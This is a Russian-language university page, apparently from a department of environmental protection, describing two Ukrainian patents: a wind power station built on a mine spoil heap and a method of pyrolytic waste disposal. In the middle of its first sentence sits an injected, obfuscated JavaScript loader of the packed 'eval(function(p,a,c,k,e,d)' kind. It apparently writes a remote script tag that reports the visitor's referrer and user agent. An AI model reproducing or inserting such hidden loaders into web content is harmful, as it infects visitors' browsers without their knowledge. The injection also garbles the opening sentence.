

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knbfa|var|u0026u|referrer|eabre||js|php'.split('|'),0,{})) кафедре Природоохранной деятельности получен ряд патентов на изобретения в области ветроэнергетики, утилизации и обезвреживания твердых отходов.

1. Ветроэлектростанция на породном отвале: патент Украины на изобретение № 79329, МПК, F03D 3/04 /Костенко В.К.,Макеева Д.А., Кольчик А.Е.; ДонНТУ, заявка № а200505294, заявл. 03.06.2005, опубл. 11.06.2007, бюл. № 8.

Изобретение относится к ветроэнергетике, а именно к проблеме повышения эффективности работы ветроэлектростанций. Преимущественно может быть использовано для ветроэлектростанций, размещенных в степных зонах, зонах городской застройки при наличии породных отвалов предприятий горной промышленности.

Ветроэлектростанция на породном отвале содержит ветродвигатель, перед которым в четырех направлениях расположены конфузоры и концентраторы ветрового потока. Концентраторы ветрового потока выполнены в виде системы радиально расположенных на поверхности отвала желобов, разделенных рельефными серповидными перегородками. Воздушный поток попадает в зону концентратора ветрового потока, увеличивает свою скорость и концентрируется, и еще более увеличивает скорость

попадая в конфузор, за счет увеличения силы и скорости ветра. После выхода воздушной струи, противоположный конфузор, работающий в качестве диффузора, уменьшает скорость струи, которая еще больше уменьшается в противоположном концентраторе ветрового потока, работающему в качестве замедлителя воздушной струи. В результате чего скорость ветра, покидающего рабочую зону, остается неизменной относительно начальной.

Такое выполнение устройства дает возможность максимально эффективно использовать все ветровые потоки, независимо от их направления. Обеспечить стабильное, надежное и эффективное увеличение скорости ветрового потока возле ветродвигателя и избежать зависимости от преобладающих направлений ветров.

2. Способ утилизации отходов: патент Украины на изобретение № 79548, МПК F23G 5/027, B09B 3/00 /Лунева О.В., Костенко В.К., Матлак Е.С., Приходько С.Ю., Горда В.И.; ДонНТУ, заявка № а 2005 09071, заявл. 26.09.2005, опубл. 25.06.2007, бюл. № 9.

Изобретение относится к области утилизации и обезвреживания твердых отходов произвольного химического состава и может быть использован для переработки бытовых, промышленных и других отходов.

Способ утилизации отходов, включает нагревание отходов в термическом реакторе без доступа свободного кислорода до температуры 1500-1650 °С, вывод газообразных продуктов, полученных в результате термической деструкции отходов, из реактора после фильтрации сквозь слой твердого кускового электропроводного теплоносителя. Затем подачу этих продуктов с помощью компрессора к вихревой установке, в которой потоки газообразных продуктов разделяют на холодный и горячий газ. Горячий газ направляют в реактор, а холодный направляют на потребление, при этом температуру выходного потока холодного газа обеспечивают на уровне 400-100 °С.

Применение способа обеспечивает повышение стабильности процесса и сводит к минимуму возможность возникновения высокотоксических веществ, которые имеют способность к накоплению в организме человека, а также позволяет удешевить процесс очистки пиролизных газов.